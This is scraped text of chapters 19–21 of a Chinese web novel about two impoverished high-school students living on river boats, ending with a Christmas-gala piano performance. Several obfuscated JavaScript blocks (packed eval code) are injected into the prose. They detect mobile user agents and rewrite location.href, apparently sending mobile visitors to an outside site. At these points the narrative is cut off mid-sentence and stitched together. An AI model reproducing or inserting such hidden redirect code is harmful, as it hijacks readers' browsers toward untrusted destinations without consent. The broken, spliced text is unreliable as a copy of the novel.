d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427190|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她打量的视线算不上友善,甚至有些傲慢,陈列被她盯得本能的不自在,脊背因店里过分明亮的射灯浮出一身细汗。 姜堇却似浑然不觉。 她逛完一圈后在店中央的沙发上坐下,并叫陈列:“坐下。” 陈列简直不知她是何用意,微蹙眉间,只得在她身边坐下了。 沙发柔软下陷,似云朵。 姜堇又平静地仰面望向导购,纤纤的细指指向架上的一双鞋:“我觉得这双鞋也不错,麻烦你帮我拿一双37码。” 她的双脚并拢在意大利风情的茶几下,便是限量版的那双鞋。导购瞥一眼,虽是一脸的不情愿,却也没说什么,去给姜堇找鞋了。 姜堇小小地吐出一口气,整个人往后倒。柔软的沙发最外圈镶一层加蓬乌金木,她的后脑抵在上面,姿势似躺在云里仰望天空。 可她没有望向奢侈品店的天花板,半垂的双眸反而穿透落地橱窗往外望去。 陈列顺着她视线看一眼。 阴沉了整日的天,不知何时落下雪来了。雪也没消解天空的阴沉,仍是灰白一片垂坠在行人头顶。只是此番对比下,愈发显得那簌簌而落的雪片洁白、轻盈。 姜堇的睫毛纤长,眼神盯住空中的某一片雪跟着翻飞了一圈,便是在这时开口:“陈列。” 陈列在这样的天气里四肢发沉,身体里深重的疲乏感沉沉坠着他。他没扭头去看姜堇,和她一同望着窗外的落雪。 姜堇说:“钱是可以买到快乐的。” 她坐在金碧荧煌的奢侈品店里,进一步仰起后颈,这时,她变作看着店内似教堂穹顶的天花板了。她微挑着唇角,语气很轻,似在对陈列说话,又似自言自语:“如果你觉得钱买不到快乐,那一定是你的十块钱还不够多而已。” 这时,方才去找鞋的导购捧着只纸盒回来了。 她把纸盒放到姜堇脚边:“要试穿吗?” “你不帮我打开鞋盒吗?”姜堇两只白皙的手掌摁着沙发边缘,脸上并没被轻怠的卑怯或怒意,反而隐隐笑着。 导购怔了怔,又瞧一眼年轻女孩过分姣好的脸庞,蹲在姜堇脚边打开鞋盒,仰起脸来问姜堇:“小姐,你要试穿吗?” 姜堇纤长的睫垂落下去,看一眼鞋盒里分外精致的鞋,笑一笑回答导购:“不用了,谢谢。” 她站起来走出奢侈品店,陈列跟在她身后。 她在阴沉沉的天幕下走了几步,簌簌的雪落在她肩头。她忽地转过身来,看着陈列,奢侈品橱窗的陈列射灯和街道树木绑着的圣诞灯球一同映亮她的脸。 她笼在一片澄黄里,声调依然很轻,还是那般不知是对陈列说、还是自言自语的语气:“总有一天,我会买到所有的快乐。” 说完她继续往公交车站走去。陈列沉默跟在她身后,有那么一瞬间他想:那我是这快乐的一部分么? 这实在是没来由的想法。大概在这荒唐的街道上待久了,连想法也变得荒唐起来。 他载着一肩的雪,沉默往前走去。 19. 本能 姜堇好几天没遇见陈列。 两人的教室在同一条走廊,两人的旧船在河畔相邻,姜堇却好几天没有遇见陈列。 这天下晚自习后,陈列坐公交车回到河边,钻进自己的船舱里锁上门。 过了阵儿,响起轻轻的敲门声。 姜堇敲门的声音很有节律,轻而利落,敲击三下后一个短暂的停顿,又敲三下。 陈列仰躺在那条窄而硬的木板上,一条长腿垂落,双手垫在脑后,破旧木板拼接而成的船舱顶,挂一只连灯罩都没有的灯泡,即便瓦数不高也显得刺目。 陈列没动弹。 姜堇敲三下,又敲三下,之后便离开了。 周末陈列去拳馆打拳。现在他的名头已很响了,甚至为拳馆吸引来了不少客人,人人说其他都是“那个很帅的小伙子”,而不是“那个出拳利落的小伙子”。他也懒得去纠正,并不在意旁人对自己的看法。 姜堇依然在这里卖酒。其他卖酒女郎开始穿起长袖紧身的连衣裙,配“光腿神器”裸色长袜。但她不,仍如盛夏一般,穿轻薄而劣质的红色短裙,露出雪白的肩和纤直的双腿,裙摆如火焰般灼灼燃烧。 其他卖酒女郎翻她白眼:“不就想多卖一点酒么?大冬天还穿成这样。” 她的五官不笑时自带清冷之气。陈列听别人议论她,心里却知道不是这样,她让自己冷,是因为她身上有股韧劲和狠劲,对自己尤其狠,好像憋着股劲想要证明什么。 但她也不辩驳,任他人议论。在那晚她去敲陈列的舱门而陈列没回应后,她端着扎啤托盘,再没朝陈列看过来。 入冬的拳馆到底生意差些,有人有闲功夫同陈列开玩笑:“今晚怎么没跟你小女朋友凑一堆?怎么,吵架了?” 陈列瞥过去。 他的眼神太冷,在他不想开玩笑的时候,没人敢同他开玩笑。 两人从拳馆离开仍是一前一后,互相没有打招呼。 周一再到学校,班里一个女生略带些紧张走过来:“陈、陈列。” 老实说直到现在,大半学期过去了,陈列还没把班里的人认全。 这女生叫什么来着? 叶炳崐在一旁插科打诨,勾着陈列的肩:“尊贵的文娱委员,找我列哥什么事啊?” 女生紧张得有点打磕巴,大约陈列气场太强,与他不相熟的人都是这般反应:“你、你会弹吉他么?” “不会。”陈列应道。他是真不会。 “那唱歌呢?” 叶炳崐听出来了:“你这是想在圣诞晚会上让我列哥表演节目啊?” 每年一度的圣诞晚会是一中传统,倒并非全然为了庆祝圣诞,而是避开元旦假期,让全校师生提前辞旧迎新。 “我不会唱歌。”陈列说。 “那、那……”文娱委员绞着手指。 叶炳崐在一旁道:“那你就上台站着,什么都不干也行,或者你就朗诵首‘鹅鹅鹅’。” “对对对!”文娱委员真是这么想的,哪怕陈列上台站着什么都不干也行呢。十一班的节目向来很水,拿各位老师评审的投票是没戏,但就冲陈列这张脸,说不定他们还能混个最佳人气奖呢? 陈列:“不。” 他的拒绝从来直接而利落,甚至不多解释一句理由。 文娱委员失望地走了。 叶炳崐:“为什么啊列哥?多好的出风头机会啊。” 陈列简直不解,为什么会有人愿意出风头呢?他只想躲起来,躲进人群里,躲进尘埃里,躲进宇宙大爆炸形成的那不知多少光年的距离里。 叶炳崐今天絮絮叨叨在陈列身边烦了一整天,陈列斜眼睨着他。 他终于吞吞吐吐地说:“列哥,我求你个事。” “说。” “……我真的好想吃生煎啊!”叶炳崐爆出一声哀嚎:“你晚自习之前陪我去吧!咱翻墙出去就行。” 陈列不讲话,就那样睨着他。 叶炳崐举起双手做投降状:“好好好,什么都瞒不过你。秦筱婷你知道吧?” 陈列的表情没任何起伏。 叶炳崐一脸的恨铁不成钢:“秦筱婷你都不知道?校花候选人之一啊,关注她的人不输姜堇的。” 突如其来地听到“姜堇”这个名字,陈列的左眼皮没来由跳了下。 叶炳崐平时一张浑天浑地的脸,竟有些涨红起来:“秦晓婷是艺术生,今晚去上专业课前,约我到校外吃饭。列哥算我求你,你陪我去吧!不然我真不敢啊!” 陈列:“你还有不敢的事。” “有!我真有!”叶炳崐立即认怂:“你要是不答应,我就烦你整天。” 奈何陈列的人生原则是真的很怕麻烦。 当下也不再挣扎:“好。” 下午下课,叶炳崐和陈列翻墙出去。 陈列个子那样高,身上的肌肉不是在健身房练出来的,而是干体力活一点点攒出来的,流畅而紧致。他单手撑着围墙轻易跃过,手臂绷出漂亮线条。 叶炳崐看着“啧”一声:“列哥你说你这样的,一直单着那不是浪费了吗?” 两人走出学校,陈列问:“吃什么?” 叶炳崐指指街道尽头一家面馆:“我跟秦筱婷可什么都没说开啊,说的就是随便吃顿饭。我怕太隆重会把人吓跑。” 叶炳崐和陈列先进店坐下,不多时,两个女生手挽手过来了。都长得秀婉,陈列也不知哪个是秦晓婷。 直到其中一个女生扬起手冲叶炳崐挥了挥:“嗨。” 叶炳崐的脖根就红了,站起来:“正等你们呢。吃什么?我们还没点,怕面坨了。” 两个女生去看墙面的菜单。叶炳崐没话找话似的去问陈列:“列哥,你吃什么?” “随便。” “别随便啊!你选,你自己选。”叶炳崐大概十分紧张,絮絮叨叨想要缓解尴尬。 墙面张贴的红色菜单字体太小,陈列只得走到叶炳崐身边。 他那样锋锐的五官,身上却有种馨暖洁净的洗衣液味道。因为他洗衣服时还是懒,把脏衣长久地浸在洗衣液中。 秦筱婷之外的那个女生,手挂在秦筱婷的臂弯里轻轻一晃,秦筱婷笑着安抚似的拍拍她手。 陈列瞥了一眼,移回视线去看墙面菜单:“肉丝面。” “好嘞。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431230|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 点完面四人围坐到一张方桌边,陈列和叶炳崐一边,秦筱婷和另个女生一边。 叶炳崐这时替他们介绍:“列哥就不用介绍了吧?” “这是秦筱婷,这是方晓。怎么样列哥,方晓长得漂亮吧?” 方晓一直半低着头,这时抬眸微瞪了叶炳崐。秦筱婷含笑在桌面下轻撞方晓的膝盖。 陈列看出来了,今天这顿饭,叶炳崐想见秦筱婷是一重。另一重,则是想把秦筱婷的好闺蜜介绍给陈列。 叶炳崐在桌下死死拽着陈列的胳膊。他深知这哥们脾气不好,拒绝文娱委员都拒绝得那么直接,连个理由都不给,他觉得陈列真干得出一言不发、沉着脸起身就走这种事。 要不是秦筱婷托他帮忙,他是真不敢干给陈列牵线搭桥这种事。 陈列一张脸还是如往日一般沉冷,拂开他的手。 叶炳崐以极低的声音似说唇语:“列哥,给个面子。” 不知是不是他的这句话起了作用,陈列当真没有离开。 于陈列而言,他心里想的是另一件事。 那天晚上姜堇来敲他的船舱门,他知道姜堇是想问他是不是躲她,所以他没予理会。 他就是在躲姜堇。 姜堇身上的那股狠劲,既让他深深为之触动,也让他感到了一种本能的恐惧。 不是他对追债人那样的恐惧。而是一种发自灵魂深处的、颤栗的、让心脏为之跳动的危险的感觉。 陈列从未有过这种感觉。 或许只有陈列见过她的一体两面,知道她文静清冷的外表下,藏着一团灼灼燃烧的烈焰。她状似平静说出“要买到所有快乐”那句话时,陈列心里有种感觉,那团火会灼烧向她自己,也会灼烧向她身边的人。 陈列不是什么英雄主义。他只想躲。 他其实做过梦。 梦到她纤细的脖颈。裸露在外的白皙脚踝。火焰般短裙露出胸前月光似的一线。还有她在船头甲板上捶洗羽绒服时,一头长发在脑后挽成个丸子、几缕碎发垂落在她后颈上。 陈列不知自己为何会梦到这些,他只是本能觉得不安。 所以今天陈列留了下来,第一次把视线投射向其他女孩。 或许他要求自己意识到,世界上并非只有姜堇一个女孩。 面端了上来,四碗热气腾腾的。肉丝面被推到陈列面前,陈列从筷篓里抽出双筷子,随意挑了两挑,也不管浇头拌匀了没有,埋头大口地送入嘴中。 他吃饭向来很快,带着股吃了上顿没下顿的劲头。他知道方晓在对面看他,他没理会,埋头吃面,直到方晓轻轻地问:“不烫么?” 陈列手中的筷子滞了下。那一瞬他觉得刻奇,很想出声反问:烫不烫的,很重要么? 他因此抬起头来,刚巧看到一个纤纤的身影走进面馆里来,他嘴里还包着大口的面没来得及咽下,呛得咳了一声。 姜堇却没看到他似的,视线落在他对面方晓那披肩的长发上,然后收回了眼神,没看菜单,径直对老板娘说:“一碗阳春面。” 说罢摘下书包,在门口离得最远的一张桌边坐下,背对着陈列他们这桌。 20. 很近 叶炳崐半是嘲讽地说了句:“哟,一班的公主也下凡来吃面。” 姜堇看起来对这家店谙熟。大概她请假去校外做家教的时候,常来这家解决晚饭,因为这家离学校远,相对清静。 不过就算真碰上同学她也无妨,对话的借口一贯是去上准备出国的综合素质班。最多会有人像叶炳崐这般嘲讽——“公主”的晚餐很接地气而已。 陈列收回视线,继续埋头吃面。 面煮得保留了些劲道,弹牙,蒸腾的热气把人扑出一额的薄汗。见陈列不说话,方晓又轻声问:“你额头怎么了?” 陈列每周末去打拳,拳台上出阴招的也有,是以脸上时时有伤。比如此时他额角明显一道伤口,因他是寸头,全无掩饰,他自己也不在意,就那样露着。 陈列蹙了下眉。 他实在不喜欢有人过度关注他。 方晓从口袋里掏出一张创可贴,放到桌面,轻轻推至陈列面前:“还好我随身带着创可贴,你用吧。” 那一瞬陈列想起姜堇的眼神。 她的眼神总是平和而静定,无论陈列在拳台上打出怎样的伤,无论陈列被追债人逼至怎样的境地,她永远都是那般,不好奇、不审视、也不过度关切。 他抬眸看着方晓,余光却难以避免地瞥见姜堇的背影。 姜堇这时站起来说:“老板娘,结账。” 叶炳崐微吃了一惊:“吃这么快?” 姜堇已快速掏出手机扫码付款,头也不回地走了。 陈列收回视线,瞥一眼桌面的创可贴,拿起来放进自己的口袋。 “谢谢。”他说。 - 姜堇是在去做家教的地铁上,接到了一班文娱委员的电话。 “姜堇!江湖救急!” “怎么了?”姜堇细声问,一边拾级走出地铁站。 “圣诞晚会我们各种类型的节目都表演过了,连小型话剧都演过了,可班主任要求我们年年拿第一诶!”文娱委员听起来快哭了:“今年我是真没什么新招了,还好李黎提醒我,你会弹钢琴。” 她哀求姜堇:“女神,救救我吧!” 姜堇出了地铁站走在街道上,不知何处而来、拎着电脑包的上班族匆匆撞她一下。她被撞得几乎失去重心,赶忙握紧手里的手机。 是了。这是她的人设。 父母在毛里求斯经商。祖父母辈在LA。她去过世界各地旅行,英语口音是标准英音。会弹钢琴。 姜堇站在街道上,握着手机往路边橱窗看去。她被撞停的地方,刚好在一间琴行外,洁净明亮的落地橱窗之内,摆着一架昂贵的施坦威钢琴。 姜堇的影子被叠化在落地玻璃上,听到李黎在文娱委员身边轻轻的笑声,和也不知是不是故意说给她听的:“她真的会弹钢琴吗?” 还有杜珉珉替她辩驳的声音:“李黎你够了啊!怎么逮着姜堇怀疑起来没完没了啊?” 李黎说:“到时候你就知道了。” 姜堇不知何故,没来由想起刚刚在面馆,一个女生坐在陈列对面,有一头精心打理过的柔顺长发。 她足尖踢了踢路边的一粒小石子。她向来很能管理自己的情绪,此时却要浅浅地理匀呼吸,才能继续保持平静语调。 “好啊。”她对着手机里说:“我弹。” - 陈列下了晚自习回家,公交车的窗玻璃上已蒙一层白气。 直至回了船舱里锁上门,生出的一种逼仄感却让人不知是热是冷。他懒得换衣服,仰面躺在木板上,好像总是这样,面对了一天这个世界,要躺下攒一会儿力气,才有精力去洗漱。 敲门声便是在这时响了起来。 很典型姜堇的敲法。敲三下,一停,又敲三下。 陈列了解姜堇,如果他继续保持沉默的话,姜堇不会纠缠,便要走了。可是在姜堇离开前,他从床板上一跃而起,抓起他从外套口袋里掏放在矮桌上的那张创可贴,撕开包装。 一边把创可贴贴在额角,一边走去开门。 门外的姜堇穿校服,素淡的一张脸,清汤挂面的马尾在夜风里拂动。 今夜风大,连旧船都被吹得摇摇晃晃。陈列让开门口,她便走了进来。 陈列回到床板上坐下,她还是拖着那张高凳,隔着船舱的距离,坐在陈列对面。她不说话,只是看着陈列额角所贴的那张创可贴。 方晓给陈列的,是一张女生所用的创可贴。淡淡的黄色,上面印着卡通小熊的图案。 她不说话,陈列也不说话。从口袋里掏出一根烟来,不点,就那样夹在指间。 夜风在船舱外呼啸。直到姜堇开口:“这创可贴不适合你。” 陈列抿了下唇角,夹着烟在另只手的手背上磕了下,随之开口:“那你说,怎么样的才适合我?” 姜堇不答,站起来往陈列这边走。 夜风忽而凛冽,吹得船舱猛然一晃。姜堇没站稳,身形跟着晃了下,陈列本能伸出手贴近她手臂边,却在将要握住时堪堪止住,闻见她身上没喷劣质香水时一阵清雅的茉莉香。 姜堇这时自己站稳了,陈列缩回手。姜堇站在陈列面前,很近,腿抵着陈列的膝盖。她垂眸俯看着陈列,陈列第一次发现,那双小鹿般柔和的双眸也是能有压迫性的。 她的手伸向陈列额角,撕掉创可贴的动作很干脆,“嘶啦”一声,丝毫没管胶条牵扯陈列皮肤那微微的痛感。 她把创可贴团一团扔进垃圾桶,不带任何表情地说:“什么都不用最适合你。” 她走了。 - 姜堇来找陈列的这一晚并不算破冰。 甚至在陈列心里种下了一种更为奇怪的感觉。怎么说,似是飞蛾面对的一盏灯,你知道它多光亮,你也知道它多危险。 陈列不再刻意去见某一个女生了。方晓后来约他,他直接回绝。 他只是会在走廊里对着每一个女生多看一眼。 有些女生的眼睛很圆。 有些女生的唇角总是含笑。 他也不知自己在看什么。只是这样一个、一个地看过去。 这天叶炳崐在班级里大放厥词,吹嘘自己的“丰功伟绩”,三条凳腿悬空只用一条支着重心,险些摔了才总算舍得坐好。 “对了。”他便是在这时想起来说:“你知不知道圣诞晚会上一班要表演什么节目?姜堇竟然要弹钢琴。” “弹什么?”有人问。 “不晓得。”叶炳崐说:“但她不是一向很少参加文艺活动吗?真够稀奇的。” 陈列坐在自己的座位上望着窗外。 姜堇要弹钢琴? 他想起白柳絮生日那天,姜堇在逼仄的、不能生暖气的船舱里做蛋糕。戴一双起球的毛线红手套,露在外的半截手指被冻得通红,甚至不能打弯。 那样的一双手被冻出冻疮,靠着创可贴遮掩。涂了他买的冻疮膏,不知多久才消掉。 他固然知道姜堇所立的人设,一个家境优渥的大小姐合该是精通钢琴的。可是这样的姜堇,怎么可能会弹钢琴? 他甚至不知姜堇有没有碰过钢琴。矜雅的、黑白键分明而流光的、极之昂贵的钢琴。 圣诞晚会一天天临近。 课间,李黎走到姜堇课桌边:“要弹什么曲子,决定了么?” 姜堇正做一本物理练习题册,白而细长的手指握一支蓝色水性笔,静静抬起眸来瞧着李黎。 李黎弯了笑眼:“我是说,学校有琴房,你要不要去练习一下?” 杜珉珉在一旁不平:“李黎,姜堇家里面怎么可能没有钢琴?用你来操哪门子闲心?你什么时候变文娱委员了。” 李黎笑意更甚:“那我们就等着听女神的惊艳演出了。” 她对着姜堇福一福,转身走开去。杜珉珉对着她背影翻个白眼,同姜堇说话时仍是忿忿:“姜堇你别搭理她,上次我就说了,她就是嫉妒你。” 姜堇很浅地一笑。 下了晚自习,姜堇仍是等所有学生都散去后,背着书包走出校园,一路跑回去。 不落雪的时候,风更显得冷冽,拂着她长直的黑发疯了般乱舞。没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她放下笔的时候仔仔细细看一眼自己的手指,难得冻疮好得没留什么痕迹。矮桌上放着陈列给她买的那支冻疮膏,她每天挤出几次来用,一管药已变得扁扁不剩什么了。 她扔进垃圾桶,站起身来准备去洗漱,却又在墙面所嵌的窄窄那条木板坐下,勾下腰,一手托着腮,另一手的纤指在手机屏幕上点按。 她在网上查那款可冲泡的巧克力粉,SwissMiss,她听都没听过的牌子。 姜堇唇边挑起丝嘲讽的笑意,风吹着灯泡摇晃、拖拽着她影子在木地板上乱晃。她意识到这里除了她和她的影子,并没人来“欣赏”她这番笑意。 唇边的笑终是一点、一点地淡褪下去。她抿了抿唇,取过一罐红糖,把小小一盏瓦斯炉拧开,用一只边缘已烧得发黑、无论如何也洗不净的小铝锅,烧了热水,又用一只干净的勺子把红糖化开下去。 她没有SwissMiss的巧克力粉,她只有一罐红糖。整整一大罐,很便宜,十块钱,超市临期打折时买的。 不知为何,她今夜总觉得她仅有的红糖水会不够甜似的,化了一块红糖,又丢一块进去化开,接连不休。 当她犹豫着要不要加一只鸡蛋进去、站起身来的时候,骤然的狂风拽着船舱猛烈一晃,她一个没站稳跌到地板上,脚边的小铝锅也被她带翻。 现在,她连仅有的红糖水也没有了,只剩瓦斯炉飘着黯蓝的火苗,嘶嘶作响地燃烧着。 姜堇也不知自己怎么想的,并没有爬起来去收拾残局,反而顺势在木地板上仰躺了下去。第一次的,她感到一种身体最深处的疲乏,就像陈列每天感觉到的那样。 她就那样躺在地板上,乌浓的长发铺了满地,随船身摇晃而四下横流的红糖水,流进她的发梢。 她仍躺着没动,睁着一双美丽而空疏的眼,望着船舱顶。 船舱顶太矮、太逼仄、也太结实了。她甚至多想一阵狂风起,掀开这顶棚。 就算她没有了家,至少可以看一眼高远的天。 21. 一点点温柔 圣诞晚会当晚。 叶炳崐死拽着陈列的胳膊:“列哥我求你陪我去一下后台吧!我一个人是真不敢!” 叶炳崐这人有个特点,虚张声势起来拽得二五八万的,认怂起来却又一点不含糊。 陈列蹙着眉,实在懒得跟他掰扯,只得陪他走一趟后台。 后台热闹得生机勃勃。化妆的、抓紧最后时间排练的、忙着调动布景的,各班准备登台表演节目的人混在一起。叶炳崐穿行在一片《天鹅湖》芭蕾舞纱裙和《月亮镇》童话风布景中,奋力寻找着秦筱婷的身影。 秦筱婷和她们班几个女孩一同登台,表演一支名为《霓为裳》的国风舞蹈。 叶炳崐钻得极快,陈列渐渐就不见了他的踪影。当然陈列也没费心去跟,脚步索性慢了下来,想着要不要先回观众席算了。 这时,他在一片混乱中瞥见了一道纤细的身影。 姜堇站在那里。 他见过她穿校服的样子,见过她穿劣质而艳丽的红色短裙的样子。可现下她站在那里,穿一条长及小腿的白色长裙,只有纤纤而白皙的脚腕露出来,那样细,陈列圈住虎口便能握住般。 陈列看着她侧颜,她正同杜珉珉说话,带着柔和的笑意。陈列不懂服装材质,说不上那柔软的白色纱料是什么。 他知道她不会买很贵的裙子,可那样的料子穿在她身上一点不露怯。那是一种很纯净的白,像颠沛流离的幼童所向往的白牛奶,像楼阁听雨的少年梦中所见的一抹白月光。 此时月光流淌在她身上,乌色的长发披肩,显得她肤色更白,泛出一种白瓷般的柔腻。 有其他班的学生路过她身边,明明白白地目露惊艳,尽管她与老师过从甚密而风评没有那么好,也禁不住此时有人半开玩笑唤她:“女神!” 她恬淡地笑一笑,没过度自谦地忙着否认,也没趾高气扬地露出得意。 陈列和她隔着忙乱的人群站着,始终望着她侧影。 忽然一瞬觉得,那个臭水河畔的旧船上、拿着根木棒捶洗衣服的孤女,也许其实离他很遥远。 陈列本已打算离开了,但此时杜珉珉跟姜堇说了句什么、便匆匆走了,也许是忙着去洗手间。 陈列犹豫了一秒,向着姜堇走过去。 在学校他从不跟姜堇说话,大抵只有在这样混乱的后台,人们不会发现他们这样毫无交集的两个人站在一起。 姜堇看到他了,目光向他投射过来。其实到这时两人已好些天没说过话了,此时站在一起,两人也都无甚笑意,目光淡淡的。 陈列先开口:“钢琴曲准备好了么?” 姜堇问:“你知道我要弹钢琴?” 陈列:“嗯,听说。” 姜堇忽而笑了一笑,没回答他的问题,只把一只白色的帆布包递他——不是姜堇平日里背的双肩书包,这样一只看不出品牌的帆布包更衬她今天的一身。 她跟陈列说:“帮我拿着。” 陈列想问:干嘛不叫杜珉珉帮你拿。 但他还是接过帆布包,转身走了。回到观众席,过了好一会儿叶炳崐才回来,一落座就一迭声地抱怨:“列哥你跑哪去了!我找到秦筱婷才发现只剩我一个人,尬死!” 陈列没应他的话。姜堇的那只白色帆布包早已被陈列藏在角落,身形挡着,叶炳崐看不到。 学校为了昭显一碗水端平,并没有把十一班“发配”到观众席后排,反而把最靠近舞台的坐席给了一班和十一班。 舞台上的表演纤毫毕现。等秦筱婷她们登场时,能清晰看到她们裙摆的褶皱、扬起水袖间的一颦一笑一挑眉,叶炳崐的脸都红了。 陈列垂眸看一眼节目单。 姜堇的节目排在三个以后。并没有具体写明弹奏的曲目,只是写着:高三一班,钢琴独奏,姜堇。 陈列的视线定格在“钢琴独奏”四个字上。 直到姜堇登台,他望着舞台,姜堇对着观众席鞠一躬,抚平了裙摆在琴凳上落座。叶炳崐和一帮男生在议论:“好会装啊!” 语气里不乏鄙夷,又不乏钦慕。 陈列无暇理会这些。他并不把姜堇与自己看作命运共同体,只是河畔飘荡的两条旧船让他和姜堇之间多了一份戚戚然,他掌心里忍不住浮一层细汗,直到这时,他仍笃定姜堇不可能会弹钢琴。 姜堇安然坐在琴凳上,一束炽白而柔和的射灯洒落在她身上。 姜堇那样聪黠,陈列不知她会做出怎样的举动来化解这一困境。也许,摁响几个优美却简单的音符,用她清冷的嗓音念一首诗朗诵? 可姜堇这样上台无疑又是被一班那个女生拱的,这样能打消那女生的猜疑吗? 陈列望着舞台上的姜堇,她沉沉地吸了一口气,抬起纤细的双臂,展开双肩。 当第一个音符自她指间流淌的时候,陈列几乎不敢相信自己的耳朵—— 她竟然真的会弹钢琴。 一班的坐席上,杜珉珉正得意洋洋拿眼尾去瞟李黎,那眼神的意思是——早跟你说了姜堇是正经的豪门大小姐,你还不停地怀疑她! 李黎的脸色变得很难看。 陈列收回望向一班的视线,再度望向舞台。没了心头的担忧,最初的惊愕过去,他的心绪开始被姜堇的琴声带着走。 她弹一首中国民谣,好一朵美丽的茉莉花,改成了适合钢琴的曲谱。 音律在她指尖流淌。那不是正午阳光下的花园,而是清冷幽静的月光下,小小的、清丽的、悠香的花苞绽开,茉莉未眠。 陈列很难形容那一刻自己的心情。 直到压着《茉莉花》最后一个音符,姜堇的琴音忽然转向,变作大江大河般的气势汹涌、雷霆万钧。 陈列没听过那首乐曲,后来他才知道那一曲叫做《D小调狂想曲》。 姜堇的肩那样窄,背影薄瘦,很难想象她那样的身体里藏着这般喷涌的力量。陈列目光沉沉地望着舞台,一旁的叶炳崐他们早已惊掉了下巴: “卧、卧槽……” 严格来说那是一首钢琴入门曲目,指法并不算复杂,但在姜堇这般的演绎下,又有前一曲极具反差的《茉莉花》做对比,所有人只剩惊叹。 一曲终了,姜堇坐在琴凳上胸口起伏,平复着自己的呼吸。 然后她一脸平静地站起来,走到台前,鞠躬,谢幕,抬起头来的时候,目光淡然地扫视过观众席。 陈列与她有一瞬的对视,她的目光在陈列脸上流连一秒,陈列摁住自己的拇指,往下压了压。 他很久没细看过姜堇的脸了,甚至刚才在后台与姜堇说话的时候、视线也刻意回避了她的脸。 对视的这一瞬,她在舞台的聚光灯下,他在暗影幽微的观众席间。 陈列一瞬明白了,自己为何在走廊里对着一个个女生的脸看过去。 至此他终于确信,没有人像她。 也不会有人像她。 姜堇走下舞台去了,好似对这灯光普照的舞台不多留恋一秒。直到晚会落幕,又有好几个节目登台,但所有人一直议论的是姜堇的钢琴曲。 鄙夷的,嫉妒的,崇拜的,不屑的。 无论如何,她总归可以挑动所有人的情绪。 晚会结束后,叶炳崐急着去与秦筱婷汇合,问陈列一句:“列哥你走不走?” 陈列:“你先走吧。” 其他人走了个七七八八,陈列不露声色观察着一班那边的动静。他也想先走,但不知姜堇交给他的帆布包里有没有什么现下要用的东西。 他又不想碰着杜珉珉,便拎着包站在礼堂侧边的暗处,抽一根烟。 直到一班的人好似都走了,陈列甚至在离开的女生群中看见了杜珉珉。 姜堇还没出来。 陈列蹙一蹙眉,掐灭了烟,拎着包往礼堂后台走去。 方才喧闹的后台,一瞬变得安静异常,因而显得空旷异常,像一片漫无边际的海。陈列走着,脚底踩到不知从什么舞台布景掉下的小木片,啪嗒一声,在这样的环境里似有回响。 姜堇独自坐在一面化妆镜前,周遭的灯都关了,只剩她头顶的一盏还开着,晕黄地洒落。她听见动静,并没有回头,停下了手里卸妆的棉片,只是从镜面的反射里瞧着陈列。 陈列也没再走近,靠在后台堆放的巨型布景上,那是《月亮镇》那一轮永不圆满的月亮,连缀着层层叠叠的云。 陈列身上有淡淡的烟草味,后台变作一片漫无边际的海,其间暧昧流动的气息变成了不可把握的洋流,推着陈列身上的气息往姜堇这边游弋。 陈列靠着那轮月亮问姜堇:“你怎么会弹钢琴?” 姜堇笑了笑,抬起手里的棉片继续卸妆:“你打开我的包看看。” 陈列觉得贸然打开一个女孩的包这种事不算礼貌,可既然姜堇说了,他也不拿腔调,拉开拉链,里面除了姜堇的手套围巾,最为醒目的是一张纸板。 姜堇说:“拿出来。” 陈列便把那张纸板拿出来,厚厚的一沓,是一整张长长的纸板折了三折。 那是一张钢琴指法板,看上去颇有年头了,角落已磨出毛边。 姜堇对着化妆镜,一边卸妆一边说:“我第一份工作,是在一个商场的琴行里打工。那时候我小,给老板看了我妈的住院费单她才肯留我帮忙,薪水很低,旁边一间快餐店花更高薪水请我,我却拒绝了。” “这间琴行有一个女老师,我观察了她三天,发现她特别爱喝玫瑰花茶,便自己去摘了新鲜的玫瑰晒来给她。她教我最基本的指法,叫我去买一个指法板,我买不起,便学着样子自己画了一个。” 姜堇在化妆镜里与陈列对视:“就是你现在手里拿的那个。” “你知不知道那时我几岁?”姜堇说:“那时我十三岁,刚上初一,但你说可不可笑,那时我就很清楚地知道,有一天我会需要假装会弹钢琴。” 她又笑了,咭咭地,因回荡在过分空旷的后台而显出苍凉意味。 她用卸妆棉片擦着脸,眉妆卸去,眼妆卸去,蔷薇色的胭脂卸去,渐渐露出本身如茉莉般清透的一张脸。陈列远远地在化妆镜里看她,她说:“我高一那年,去给一个初二的小姑娘当家教,她妈妈便是钢琴老师。” “我不收课时费,在她那里学琴。练琴的时间只有每次下课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 